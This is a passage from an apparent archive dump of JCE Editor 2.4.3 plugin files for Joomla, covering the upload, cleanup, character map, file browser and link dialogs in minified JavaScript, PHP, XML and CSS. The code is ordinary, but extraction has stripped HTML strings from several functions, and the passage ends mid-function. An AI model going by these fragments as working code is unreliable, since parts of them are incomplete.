FormData();if(xhr.upload){xhr.upload.onprogress=function(e){if(e.lengthComputable){file.loaded=Math.min(file.size,e.loaded);self.UploadProgress.dispatch(file);}};} xhr.onreadystatechange=function(){var httpStatus;if(xhr.readyState==4&&self.state!==state.STOPPED){try{httpStatus=xhr.status;}catch(ex){httpStatus=0;} if(httpStatus>=400){self.UploadError.dispatch({code:state.HTTP_ERROR,message:ed.getLang('upload.http_error','HTTP Error'),file:file,status:httpStatus});}else{file.loaded=file.size;self.UploadProgress.dispatch(file);bin=formData=null;file.status=state.DONE;self.FileUploaded.dispatch(file,{response:xhr.responseText,status:httpStatus});}}};var name=file.target_name||file.name;name=name.replace(/[\+\\\/\?\#%&<>"\'=\[\]\{\},;@\^\(\)£€$]/g,'');extend(args,{'name':name});xhr.open("post",url,true);each(self.settings.headers,function(value,name){xhr.setRequestHeader(name,value);});each(extend(args,self.settings.multipart_params),function(value,name){formData.append(name,value);});formData.append(self.settings.file_data_name,bin);xhr.send(formData);return;} if(file.status==state.DONE||file.status==state.FAILED||self.state==state.STOPPED){return;} extend(args,{name:file.target_name||file.name});sendFile(file);},getInfo:function(){return{longname:'Drag & Drop and Placeholder Upload',author:'Ryan Demmer',authorurl:'http://www.joomlacontenteditor.net',infourl:'http://www.joomlacontenteditor.net',version:'2.4.3'};}});tinymce.PluginManager.add('upload',tinymce.plugins.Upload);})();com_jce/editor/tiny_mce/plugins/cleanup/classes/index.html000066600000000054150771500630020011 0ustar00com_jce/editor/tiny_mce/plugins/cleanup/classes/config.php000066600000006340150771500630017776 0ustar00getParam('editor.entity_encoding', 'raw', 'named'); // keep   $nbsp = (bool) $wf->getParam('editor.keep_nbsp', 1); // use named encoding with limited entities set if raw/utf-8 and keep_nbsp === true if ($settings['entity_encoding'] == 'raw' && $nbsp) { $settings['entity_encoding'] = ''; $settings['entities'] = '160,nbsp,173,shy'; } // set "plugin mode" $settings['cleanup_pluginmode'] = $wf->getParam('cleanup.pluginmode', 0, 0); // get verify html (default is true) $settings['verify_html'] = $wf->getParam('editor.verify_html', 1, 1, 'boolean', false); $settings['pad_empty_tags'] = $wf->getParam('editor.pad_empty_tags', 1, 1, 'boolean'); // set schema $settings['schema'] = $wf->getParam('editor.schema', 'html4', 'html4', false); // Get Extended elements $settings['extended_valid_elements'] = $wf->getParam('editor.extended_elements', '', ''); // Configuration list of invalid elements as array $settings['invalid_elements'] = explode(',', preg_replace('#\s+#', '', $wf->getParam('editor.invalid_elements', '', ''))); // Add elements to invalid list (removed by plugin) $model->addKeys($settings['invalid_elements'], self::$invalid_elements); // remove extended_valid_elements if ($settings['extended_valid_elements']) { preg_match_all('#(\w+)(\[([^\]]+)\])?#', $settings['extended_valid_elements'], $extended); if ($extended && count($extended) > 1) { $settings['invalid_elements'] = array_diff($settings['invalid_elements'], $extended[1]); } } // remove it if it is the same as the default if ($settings['invalid_elements'] === self::$invalid_elements) { $settings['invalid_elements'] = array(); } $settings['invalid_attributes'] = $wf->getParam('editor.invalid_attributes', 'dynsrc,lowsrc', 'dynsrc,lowsrc', 'string', true); $settings['invalid_attribute_values'] = $wf->getParam('editor.invalid_attribute_values', '', '', 'string', true); } } ?>com_jce/editor/tiny_mce/plugins/cleanup/index.html000066600000000054150771500630016354 0ustar00com_jce/editor/tiny_mce/plugins/cleanup/cleanup.xml000066600000001237150771500630016534 0ustar00 WF_CLEANUP_TITLE 2.4.3 11 September 2014 Moxiecode / Ryan Demmer info@joomlacontenteditor.net http://www.joomlacontenteditor.net/ Ryan Demmer GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html WF_CLEANUP_DESC cleanup com_jce/editor/tiny_mce/plugins/cleanup/editor_plugin.js000066600000015375150771500630017575 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ (function(){var each=tinymce.each,extend=tinymce.extend,Node=tinymce.html.Node;function split(str,delim){return str.split(delim||',');} var fontIconRe=/<([a-z0-9]+)([^>]+)class="([^"]*)(glyph|uk-)?(fa|icon)-([\w-]+)([^"]*)"([^>]*)>( |\u00a0)?<\/\1>/gi;var emptyRx=/<(ol|ul|sub|sup|blockquote|span|font|a|table|tbody|tr|strong|em|b|i)\b([^>]+)><\/\1>/gi;var paddedRx=/<(p|h1|h2|h3|h4|h5|h6|pre|div|address|caption)\b([^>]+)>( |\u00a0)<\/\1>/gi;tinymce.create('tinymce.plugins.CleanupPlugin',{init:function(ed,url){var self=this;this.editor=ed;if(ed.settings.verify_html===false){ed.settings.validate=false;} ed.onPreInit.add(function(){ed.schema.addValidElements('a[href|target|ping|rel|media|type|id|name|accesskey|class|dir|draggable|item|hidden|itemprop|role|spellcheck|style|subject|title|onclick|ondblclick|onmousedown|onmouseup|onmouseover|onmousemove|onmouseout|onkeypress|onkeydown|onkeyup]');if(ed.settings.validate){var elements=ed.schema.elements;each(split('span,a,i'),function(name){if(elements[name]){elements[name].removeEmpty=false;}});} if(ed.settings.validate){var invalidAttribValue=ed.getParam('invalid_attribute_values','');if(invalidAttribValue){function replaceAttributeValue(nodes,name,re){var i=nodes.length,node;while(i--){node=nodes[i];if(new RegExp(re).test(node.attr(name))){node.attr(name,"");if(name=='src'||name=='href'){node.attr('data-mce-'+name,"");}}}} each(tinymce.explode(invalidAttribValue),function(item){var re,matches=/([a-z\*]+)\[([a-z]+)([\^\$]?=)["']([^"']+)["']\]/i.exec(item);if(matches&&matches.length==5){var tag=matches[1],attrib=matches[2],expr=matches[3],value=matches[4];switch(expr){default:case'=':re='('+value+')';break;case'!=':re='(^'+value+')';break;case'^=':re='^('+value+')';break;case'$=':re='('+value+')$';break;} if(tag=='*'){ed.parser.addAttributeFilter(attrib,function(nodes,name){replaceAttributeValue(nodes,name,re);});}else{ed.parser.addNodeFilter(tag,function(nodes,name){replaceAttributeValue(nodes,attrib,re);});}}});}}else{ed.serializer.addNodeFilter(ed.settings.invalid_elements,function(nodes,name){var i=nodes.length,node;if(ed.schema.isValidChild('body',name)){while(i--){node=nodes[i];node.remove();}}});ed.parser.addNodeFilter(ed.settings.invalid_elements,function(nodes,name){var i=nodes.length,node;if(ed.schema.isValidChild('body',name)){while(i--){node=nodes[i];if(name==='span'&&node.attr('data-mce-type')){continue;} node.unwrap();}}});} ed.parser.addNodeFilter('a,i,span',function(nodes,name){var i=nodes.length,node,cls;while(i--){node=nodes[i],cls=node.attr('class');if(cls&&(/\b(glyph|uk-)?(fa|icon)-/.test(cls)||/st_(sharethis|facebook|twitter|linkedin|googleplus|pinterest|fbsend|email)_/.test(cls))){node.attr('data-mce-bootstrap','1');if(!node.firstChild){node.append(new Node('#text','3')).value='\u00a0';}}}});ed.serializer.addAttributeFilter('data-mce-bootstrap',function(nodes,name){var i=nodes.length,node,fc;while(i--){node=nodes[i],fc=node.firstChild;node.attr('data-mce-bootstrap',null);if(fc&&fc.value==='\u00a0'||fc.value===' '){fc.remove();}}});ed.parser.addAttributeFilter('onclick,ondblclick',function(nodes,name){var i=nodes.length,node;while(i--){node=nodes[i];node.attr('data-mce-'+name,node.attr(name));node.attr(name,null);}});ed.serializer.addAttributeFilter('data-mce-onclick,data-mce-ondblclick',function(nodes,name){var i=nodes.length,node,k;while(i--){node=nodes[i],k=name.replace('data-mce-','');node.attr(k,node.attr(name));node.attr(name,null);}});});if(ed.settings.validate===false&&ed.settings.verify_html===false){ed.addCommand('mceCleanup',function(){var s=ed.settings,se=ed.selection,bm;bm=se.getBookmark();var content=ed.getContent({cleanup:true});var schema=new tinymce.html.Schema({validate:true,verify_html:true,valid_styles:s.valid_styles,valid_children:s.valid_children,custom_elements:s.custom_elements,extended_valid_elements:s.extended_valid_elements});content=new tinymce.html.Serializer({validate:true},schema).serialize(new tinymce.html.DomParser({validate:true},schema).parse(content));ed.setContent(content,{cleanup:true});se.moveToBookmark(bm);});} ed.onBeforeSetContent.add(function(ed,o){o.content=self.convertFromGeshi(o.content);if(ed.settings.validate){if(ed.getParam('invalid_attributes')){var s=ed.getParam('invalid_attributes','');o.content=o.content.replace(new RegExp('<([^>]+)('+s.replace(/,/g,'|')+')="([^"]+)"([^>]*)>','gi'),'<$1$4>');}} o.content=o.content.replace(fontIconRe,'<$1$2class="$3$4$5-$6$7"$8> ');});ed.onPostProcess.add(function(ed,o){if(o.set){o.content=self.convertFromGeshi(o.content);} if(o.get){o.content=self.convertToGeshi(o.content);o.content=o.content.replace(/]*)class="jce(box|popup|lightbox|tooltip|_tooltip)"([^>]*)><\/a>/gi,'');o.content=o.content.replace(/(.*?)<\/span>/gi,'$2');o.content=o.content.replace(/_mce_(src|href|style|coords|shape)="([^"]+)"\s*?/gi,'');if(ed.settings.validate===false){o.content=o.content.replace(/]*)>([\s\S]*)<\/body>/,'$2');if(!ed.getParam('remove_tag_padding')){o.content=o.content.replace(/<(p|h1|h2|h3|h4|h5|h6|th|td|pre|div|address|caption)([^>]*)><\/\1>/gi,'<$1$2> ');}} if(!ed.getParam('table_pad_empty_cells',true)){o.content=o.content.replace(/<(th|td)([^>]*)>( |\u00a0)<\/\1>/gi,'<$1$2>');} o.content=o.content.replace(fontIconRe,'<$1$2class="$3$4$5-$6$7"$8>');if(ed.getParam('remove_div_padding')){o.content=o.content.replace(/]*)>( |\u00a0)<\/div>/g,'

    ');} if(ed.getParam('pad_empty_tags',true)===false){o.content=o.content.replace(paddedRx,'<$1$2>');}}});ed.onSaveContent.add(function(ed,o){if(ed.getParam('cleanup_pluginmode')){var entities={''':"'",'&':'&','"':'"',''':"'"};o.content=o.content.replace(/&(#39|apos|amp|quot);/gi,function(a){return entities[a];});}});ed.addButton('cleanup',{title:'advanced.cleanup_desc',cmd:'mceCleanup'});},convertFromGeshi:function(h){h=h.replace(/
    ]*)>(.*?)<\/pre>/g,function(a,b,c,d){var attr='';if(c&&/\w/.test(c)){attr=c.split(' ').join(' data-geshi-');}
    return'
    '+d+'
    ';});return h;},convertToGeshi:function(h){h=h.replace(/]+)data-geshi-lang="([^"]+)"([^>]*)>(.*?)<\/pre>/g,function(a,b,c,d,e){var s=b+d;s=s.replace(/data-geshi-/gi,'').replace(/\s+/g,' ').replace(/\s$/,'');return'
    '+e+'
    ';});return h;},getInfo:function(){return{longname:'Cleanup',author:'Ryan Demmer',authorurl:'http://www.joomlacontenteditor.net',infourl:'http://www.joomlacontenteditor.net',version:'2.4.3'};}});tinymce.PluginManager.add('cleanup',tinymce.plugins.CleanupPlugin);})();com_jce/editor/tiny_mce/plugins/charmap/js/index.html000066600000000054150771500630016754 0ustar00com_jce/editor/tiny_mce/plugins/charmap/js/charmap.js000066600000027616150771500630016745 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ var charmap=[[' ',' ',true,'no-break space'],['&','&',true,'ampersand'],['"','"',true,'quotation mark'],['¢','¢',true,'cent sign'],['€','€',true,'euro sign'],['£','£',true,'pound sign'],['¥','¥',true,'yen sign'],['©','©',true,'copyright sign'],['®','®',true,'registered sign'],['™','™',true,'trade mark sign'],['‰','‰',true,'per mille sign'],['µ','µ',true,'micro sign'],['·','·',true,'middle dot'],['•','•',true,'bullet'],['…','…',true,'three dot leader'],['′','′',true,'minutes / feet'],['″','″',true,'seconds / inches'],['§','§',true,'section sign'],['¶','¶',true,'paragraph sign'],['ß','ß',true,'sharp s / ess-zed'],['‹','‹',true,'single left-pointing angle quotation mark'],['›','›',true,'single right-pointing angle quotation mark'],['«','«',true,'left pointing guillemet'],['»','»',true,'right pointing guillemet'],['‘','‘',true,'left single quotation mark'],['’','’',true,'right single quotation mark'],['“','“',true,'left double quotation mark'],['”','”',true,'right double quotation mark'],['‚','‚',true,'single low-9 quotation mark'],['„','„',true,'double low-9 quotation mark'],['<','<',true,'less-than sign'],['>','>',true,'greater-than sign'],['≤','≤',true,'less-than or equal to'],['≥','≥',true,'greater-than or equal to'],['–','–',true,'en dash'],['—','—',true,'em dash'],['¯','¯',true,'macron'],['‾','‾',true,'overline'],['¤','¤',true,'currency sign'],['¦','¦',true,'broken bar'],['¨','¨',true,'diaeresis'],['¡','¡',true,'inverted exclamation mark'],['¿','¿',true,'turned question mark'],['ˆ','ˆ',true,'circumflex accent'],['˜','˜',true,'small tilde'],['°','°',true,'degree sign'],['−','−',true,'minus sign'],['±','±',true,'plus-minus sign'],['÷','÷',true,'division sign'],['⁄','⁄',true,'fraction slash'],['×','×',true,'multiplication sign'],['¹','¹',true,'superscript one'],['²','²',true,'superscript two'],['³','³',true,'superscript three'],['¼','¼',true,'fraction one quarter'],['½','½',true,'fraction one half'],['¾','¾',true,'fraction three quarters'],['ƒ','ƒ',true,'function / florin'],['∫','∫',true,'integral'],['∑','∑',true,'n-ary sumation'],['∞','∞',true,'infinity'],['√','√',true,'square root'],['∼','∼',false,'similar to'],['≅','≅',false,'approximately equal to'],['≈','≈',true,'almost equal to'],['≠','≠',true,'not equal to'],['≡','≡',true,'identical to'],['∈','∈',false,'element of'],['∉','∉',false,'not an element of'],['∋','∋',false,'contains as member'],['∏','∏',true,'n-ary product'],['∧','∧',false,'logical and'],['∨','∨',false,'logical or'],['¬','¬',true,'not sign'],['∩','∩',true,'intersection'],['∪','∪',false,'union'],['∂','∂',true,'partial differential'],['∀','∀',false,'for all'],['∃','∃',false,'there exists'],['∅','∅',false,'diameter'],['∇','∇',false,'backward difference'],['∗','∗',false,'asterisk operator'],['∝','∝',false,'proportional to'],['∠','∠',false,'angle'],['´','´',true,'acute accent'],['¸','¸',true,'cedilla'],['ª','ª',true,'feminine ordinal indicator'],['º','º',true,'masculine ordinal indicator'],['†','†',true,'dagger'],['‡','‡',true,'double dagger'],['À','À',true,'A - grave'],['Á','Á',true,'A - acute'],['Â','Â',true,'A - circumflex'],['Ã','Ã',true,'A - tilde'],['Ä','Ä',true,'A - diaeresis'],['Å','Å',true,'A - ring above'],['Æ','Æ',true,'ligature AE'],['Ç','Ç',true,'C - cedilla'],['È','È',true,'E - grave'],['É','É',true,'E - acute'],['Ê','Ê',true,'E - circumflex'],['Ë','Ë',true,'E - diaeresis'],['Ì','Ì',true,'I - grave'],['Í','Í',true,'I - acute'],['Î','Î',true,'I - circumflex'],['Ï','Ï',true,'I - diaeresis'],['Ð','Ð',true,'ETH'],['Ñ','Ñ',true,'N - tilde'],['Ò','Ò',true,'O - grave'],['Ó','Ó',true,'O - acute'],['Ô','Ô',true,'O - circumflex'],['Õ','Õ',true,'O - tilde'],['Ö','Ö',true,'O - diaeresis'],['Ø','Ø',true,'O - slash'],['Œ','Œ',true,'ligature OE'],['Š','Š',true,'S - caron'],['Ù','Ù',true,'U - grave'],['Ú','Ú',true,'U - acute'],['Û','Û',true,'U - circumflex'],['Ü','Ü',true,'U - diaeresis'],['Ý','Ý',true,'Y - acute'],['Ÿ','Ÿ',true,'Y - diaeresis'],['Þ','Þ',true,'THORN'],['à','à',true,'a - grave'],['á','á',true,'a - acute'],['â','â',true,'a - circumflex'],['ã','ã',true,'a - tilde'],['ä','ä',true,'a - diaeresis'],['å','å',true,'a - ring above'],['æ','æ',true,'ligature ae'],['ç','ç',true,'c - cedilla'],['è','è',true,'e - grave'],['é','é',true,'e - acute'],['ê','ê',true,'e - circumflex'],['ë','ë',true,'e - diaeresis'],['ì','ì',true,'i - grave'],['í','í',true,'i - acute'],['î','î',true,'i - circumflex'],['ï','ï',true,'i - diaeresis'],['ð','ð',true,'eth'],['ñ','ñ',true,'n - tilde'],['ò','ò',true,'o - grave'],['ó','ó',true,'o - acute'],['ô','ô',true,'o - circumflex'],['õ','õ',true,'o - tilde'],['ö','ö',true,'o - diaeresis'],['ø','ø',true,'o slash'],['œ','œ',true,'ligature oe'],['š','š',true,'s - caron'],['ù','ù',true,'u - grave'],['ú','ú',true,'u - acute'],['û','û',true,'u - circumflex'],['ü','ü',true,'u - diaeresis'],['ý','ý',true,'y - acute'],['þ','þ',true,'thorn'],['ÿ','ÿ',true,'y - diaeresis'],['Α','Α',true,'Alpha'],['Β','Β',true,'Beta'],['Γ','Γ',true,'Gamma'],['Δ','Δ',true,'Delta'],['Ε','Ε',true,'Epsilon'],['Ζ','Ζ',true,'Zeta'],['Η','Η',true,'Eta'],['Θ','Θ',true,'Theta'],['Ι','Ι',true,'Iota'],['Κ','Κ',true,'Kappa'],['Λ','Λ',true,'Lambda'],['Μ','Μ',true,'Mu'],['Ν','Ν',true,'Nu'],['Ξ','Ξ',true,'Xi'],['Ο','Ο',true,'Omicron'],['Π','Π',true,'Pi'],['Ρ','Ρ',true,'Rho'],['Σ','Σ',true,'Sigma'],['Τ','Τ',true,'Tau'],['Υ','Υ',true,'Upsilon'],['Φ','Φ',true,'Phi'],['Χ','Χ',true,'Chi'],['Ψ','Ψ',true,'Psi'],['Ω','Ω',true,'Omega'],['α','α',true,'alpha'],['β','β',true,'beta'],['γ','γ',true,'gamma'],['δ','δ',true,'delta'],['ε','ε',true,'epsilon'],['ζ','ζ',true,'zeta'],['η','η',true,'eta'],['θ','θ',true,'theta'],['ι','ι',true,'iota'],['κ','κ',true,'kappa'],['λ','λ',true,'lambda'],['μ','μ',true,'mu'],['ν','ν',true,'nu'],['ξ','ξ',true,'xi'],['ο','ο',true,'omicron'],['π','π',true,'pi'],['ρ','ρ',true,'rho'],['ς','ς',true,'final sigma'],['σ','σ',true,'sigma'],['τ','τ',true,'tau'],['υ','υ',true,'upsilon'],['φ','φ',true,'phi'],['χ','χ',true,'chi'],['ψ','ψ',true,'psi'],['ω','ω',true,'omega'],['ℵ','ℵ',false,'alef symbol'],['ϖ','ϖ',false,'pi symbol'],['ℜ','ℜ',false,'real part symbol'],['ϑ','ϑ',false,'theta symbol'],['ϒ','ϒ',false,'upsilon - hook symbol'],['℘','℘',false,'Weierstrass p'],['ℑ','ℑ',false,'imaginary part'],['←','←',true,'leftwards arrow'],['↑','↑',true,'upwards arrow'],['→','→',true,'rightwards arrow'],['↓','↓',true,'downwards arrow'],['↔','↔',true,'left right arrow'],['↵','↵',false,'carriage return'],['⇐','⇐',false,'leftwards double arrow'],['⇑','⇑',false,'upwards double arrow'],['⇒','⇒',false,'rightwards double arrow'],['⇓','⇓',false,'downwards double arrow'],['⇔','⇔',false,'left right double arrow'],['∴','∴',false,'therefore'],['⊂','⊂',false,'subset of'],['⊃','⊃',false,'superset of'],['⊄','⊄',false,'not a subset of'],['⊆','⊆',false,'subset of or equal to'],['⊇','⊇',false,'superset of or equal to'],['⊕','⊕',false,'circled plus'],['⊗','⊗',false,'circled times'],['⊥','⊥',false,'perpendicular'],['⋅','⋅',false,'dot operator'],['⌈','⌈',false,'left ceiling'],['⌉','⌉',false,'right ceiling'],['⌊','⌊',false,'left floor'],['⌋','⌋',false,'right floor'],['⟨','〈',false,'left-pointing angle bracket'],['⟩','〉',false,'right-pointing angle bracket'],['◊','◊',true,'lozenge'],['♠','♠',true,'black spade suit'],['♣','♣',true,'black club suit'],['♥','♥',true,'black heart suit'],['♦','♦',true,'black diamond suit'],[' ',' ',false,'en space'],[' ',' ',false,'em space'],[' ',' ',false,'thin space'],['‌','‌',false,'zero width non-joiner'],['‍','‍',false,'zero width joiner'],['‎','‎',false,'left-to-right mark'],['‏','‏',false,'right-to-left mark'],['­','­',false,'soft hyphen']];tinyMCEPopup.onInit.add(function(){tinyMCEPopup.dom.show('jce');tinyMCEPopup.dom.setHTML('charmapView',renderCharMapHTML());});function renderCharMapHTML(){var charsPerRow=20,tdWidth=20,tdHeight=20,i;var html='
      ';}} if(cols%charsPerRow>0){var padd=charsPerRow-(cols%charsPerRow);for(var i=0;i com_jce/editor/tiny_mce/plugins/charmap/tmpl/index.html000066600000000054150771500630017314 0ustar00com_jce/editor/tiny_mce/plugins/charmap/classes/index.html000066600000000054150771500630017775 0ustar00com_jce/editor/tiny_mce/plugins/charmap/classes/charmap.php000066600000001767150771500630020140 0ustar00addScript(array('charmap'), 'plugins'); $document->addStyleSheet(array('charmap'), 'plugins'); } public function getSettings() { $settings = array(); return parent::getSettings($settings); } } ?> com_jce/editor/tiny_mce/plugins/charmap/index.html000066600000000054150771500630016340 0ustar00com_jce/editor/tiny_mce/plugins/charmap/charmap.xml000066600000001216150771500630016501 0ustar00 WF_CHARMAP_TITLE 2.4.3 11 September 2014 Moxiecode / Ryan Demmer info@joomlacontenteditor.net http://www.joomlacontenteditor.net/ Ryan Demmer GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html WF_CHARMAP_DESC charmap com_jce/editor/tiny_mce/plugins/charmap/charmap.php000066600000001103150771500630016463 0ustar00execute(); com_jce/editor/tiny_mce/plugins/charmap/css/index.html000066600000000054150771500630017130 0ustar00com_jce/editor/tiny_mce/plugins/charmap/css/charmap.css000066600000002254150771500630017264 0ustar00/*JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/ #charmap h3{font-size:1.1em;}#charmap ul{list-style:none;margin:0;padding:0;}#charmap ul li{border:1px solid #AAA;display:inline-block;margin:0 1px 1px 0;}#charmapView{width:80%;margin:0 5px 0 0;}#charmapView,#charmapDescription{float:left;}#charmapDescription div{width:80px;padding:2px;}#charmapDescription div.box{border:1px solid #AAA;height:40px;text-align:center;margin:5px 0 0 0;}#charmapDescription div.box div.title{font-size:1em;}#charmap a{width:18px;height:18px;color:#000;border:1px solid #AAA;text-align:center;font-size:12px;vertical-align:middle;line-height:18px;}#charmap a{display:block;color:#000;text-decoration:none;border:0;}#charmap a:hover{background:#CCC;color:#2B6FB6;}#charmap #codeN{font-size:10px;font-family:Arial,Helvetica,sans-serif;text-align:center;height:30px;line-height:16px;padding:3px 2px 8px;}#charmap #codeV{font-size:40px;height:60px;border:1px solid #AAA;text-align:center;}#charmap #codeA,#charmap #codeB{font-size:1.1em;font-weight:bold;}com_jce/editor/tiny_mce/plugins/charmap/editor_plugin.js000066600000001455150771500630017553 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ (function(){tinymce.create('tinymce.plugins.CharacterMap',{init:function(ed,url){this.editor=ed;ed.addCommand('mceCharacterMap',function(v){ed.windowManager.open({url:ed.getParam('site_url')+'index.php?option=com_jce&view=editor&layout=plugin&plugin=charmap',width:550+parseInt(ed.getLang('advanced.charmap_delta_width',0)),height:250+parseInt(ed.getLang('advanced.charmap_delta_height',0)),close_previous:false,inline:true,popup_css:false});});ed.addButton('charmap',{title:'advanced.charmap_desc',cmd:'mceCharacterMap'});}});tinymce.PluginManager.add('charmap',tinymce.plugins.CharacterMap);})();com_jce/editor/tiny_mce/plugins/browser/js/index.html000066600000000054150771500630017024 0ustar00com_jce/editor/tiny_mce/plugins/browser/js/browser.js000066600000002742150771500630017056 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ var BrowserDialog={settings:{},init:function(ed){var action="insert";$('button#insert').click(function(e){BrowserDialog.insert();e.preventDefault();});tinyMCEPopup.resizeToInnerSize();var win=tinyMCEPopup.getWindowArg("window");var src=tinyMCEPopup.getWindowArg("url");$.Plugin.init();if(/(:\/\/|www|index.php(.*)\?option)/gi.test(src)){src='';} if(src){src=tinyMCEPopup.editor.convertURL(src);$('#insert').button('option','label',tinyMCEPopup.getLang('update','Update',true));} $('').appendTo(document.body);WFFileBrowser.init('#src',{onFileClick:function(e,file){BrowserDialog.selectFile(file);},onFileInsert:function(e,file){BrowserDialog.selectFile(file);},expandable:false});},insert:function(){var win=tinyMCEPopup.getWindowArg("window");var src=$('#src').val();if(src===""){var selected=WFFileBrowser.getSelectedItems();if(selected.length){this.selectFile(selected[0]);src=$('#src').val();}} win.document.getElementById(tinyMCEPopup.getWindowArg("input")).value=src;tinyMCEPopup.close();},selectFile:function(file){var self=this;var name=file.title;var src=$.String.path(WFFileBrowser.get('getBaseDir'),file.id);src=src.charAt(0)=='/'?src.substring(1):src;$('#src').val(src);}};tinyMCEPopup.onInit.add(BrowserDialog.init,BrowserDialog);com_jce/editor/tiny_mce/plugins/browser/classes/browser.php000066600000005522150771500630020251 0ustar00getBrowser(); if (JRequest::getWord('type', 'file') == 'file') { // Add all files $browser->addFileTypes(array('WF_FILEGROUP_ALL' => '*.*')); } else { $browser->setFileTypes('images=jpg,jpeg,png,gif'); } if (JRequest::getString('filter')) { $browser->setFileTypes('files=' . JRequest::getString('filter')); } // remove insert button $browser->removeButton('file', 'insert'); } /** * Display the plugin * @access public */ public function display() { parent::display(); $document = WFDocument::getInstance(); $settings = $this->getSettings(); if ($document->get('standalone') == 1) { $document->addScript(array('browser'), 'component'); $element = JRequest::getCmd('element', ''); $options = array( 'plugin' => array( 'root' => JURI::root(), 'site' => JURI::base(true) . '/' ), 'manager' => $settings, 'element' => $element ); $document->addScriptDeclaration('jQuery(document).ready(function($){$.WFBrowserWidget.init(' . json_encode($options) . ');});'); $document->addStyleSheet(array( 'dialog' ), 'libraries'); } else { $document->addScript(array('browser'), 'plugins'); $document->addScriptDeclaration('BrowserDialog.settings=' . json_encode($settings) . ';'); } } /** * @see WFMediaManager::getSettings() */ function getSettings() { return parent::getSettings(); } } ?>com_jce/editor/tiny_mce/plugins/browser/classes/index.html000066600000000054150771500630020045 0ustar00com_jce/editor/tiny_mce/plugins/browser/classes/config.php000066600000001301150771500630020022 0ustar00com_jce/editor/tiny_mce/plugins/browser/browser.php000066600000001141150771500630016605 0ustar00execute();com_jce/editor/tiny_mce/plugins/browser/index.html000066600000000054150771500630016410 0ustar00com_jce/editor/tiny_mce/plugins/browser/editor_plugin.js000066600000002053150771500630017616 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ (function(){tinymce.create('tinymce.plugins.Browser',{init:function(ed,url){this.ed=ed;},browse:function(name,url,type,win){var ed=this.ed;ed.windowManager.open({file:ed.getParam('site_url')+'index.php?option=com_jce&view=editor&layout=plugin&plugin=browser&type='+type,width:780+ed.getLang('browser.delta_width',0),height:480+ed.getLang('browser.delta_height',0),resizable:"yes",inline:"yes",close_previous:"no",popup_css:false},{window:win,input:name,url:url,type:type});return false;},getInfo:function(){return{longname:'Browser',author:'Ryan Demmer',authorurl:'http://www.joomlacontenteditor.net',infourl:'http://www.joomlacontenteditor.net/index.php?option=com_content&view=article&task=findkey&tmpl=component&lang=en&keyref=browser.about',version:'2.4.3'};}});tinymce.PluginManager.add('browser',tinymce.plugins.Browser);})();com_jce/editor/tiny_mce/plugins/browser/browser.xml000066600000007370150771500630016630 0ustar00 WF_BROWSER_TITLE 2.4.3 11 September 2014 Ryan Demmer info@joomlacontenteditor.net http://www.joomlacontenteditor.net/ Ryan Demmer GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html WF_BROWSER_DESC com_jce/editor/tiny_mce/plugins/link/js/index.html000066600000000054150771500630016276 0ustar00com_jce/editor/tiny_mce/plugins/link/js/link.js000066600000017340150771500630015602 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ var LinkDialog={settings:{},init:function(){var self=this,ed=tinyMCEPopup.editor,se=ed.selection,n,el;$('button#insert').click(function(e){self.insert();e.preventDefault();});$('button#help').click(function(e){self.openHelp();e.preventDefault();});tinyMCEPopup.resizeToInnerSize();if(!this.settings.file_browser){$('#href').removeClass('browser');} $('span.email').click(function(){LinkDialog.createEmail();});$('#anchor_container').html(this.getAnchorListHTML('anchor','href'));WFLinkBrowser.init({onClick:function(v){self.insertLink(v);}});WFLinkSearch.init({onClick:function(v){self.insertLink(v);}});WFPopups.setup();$(window).bind('resize',function(e,init){var vm=init?5:20;$('#link-browser').height($('#link-browser').innerHeight()+($('div.actionPanel').position().top-$('#tabs').height())-vm);$('#advanced_tab, #popups_tab').height($('#link_tab').height());$('#search-input').width($('#search-browser').width()-($('#search-button').outerWidth(true)+$('#search-options-button').outerWidth(true)+15));}).trigger('resize',true);if(!se.isCollapsed()){n=se.getNode();var state=true,v='';function setText(state,v){if(state&&v){$('#text').val(v).attr('disabled',false);}else{$('#text').val('').attr('disabled',true).parents('tr').hide();}} if(n){n=ed.dom.getParent(n,'A')||n;var v=se.getContent({format:'text'}),shortEnded=ed.schema.getShortEndedElements();if(tinymce.isIE||tinymce.isIE11){var start=se.getStart(),end=se.getEnd();if(start===end&&start.nodeName==="A"){n=start;}} if(n.nodeName==="A"){var nodes=n.childNodes,i;if(nodes.length===0){state=false;}else{for(i=nodes.length-1;i>=0;i--){if(nodes[i].nodeType!==3){state=false;break;}}}}else if(shortEnded[n.nodeName]){state=false;}else if(/';html+='';tinymce.each(nodes,function(n){if(n.nodeName=='SPAN'){name=ed.dom.getAttrib(n,'data-mce-name')||ed.dom.getAttrib(n,'id');}else{if(!n.href){name=ed.dom.getAttrib(n,'name')||ed.dom.getAttrib(n,'id');}} 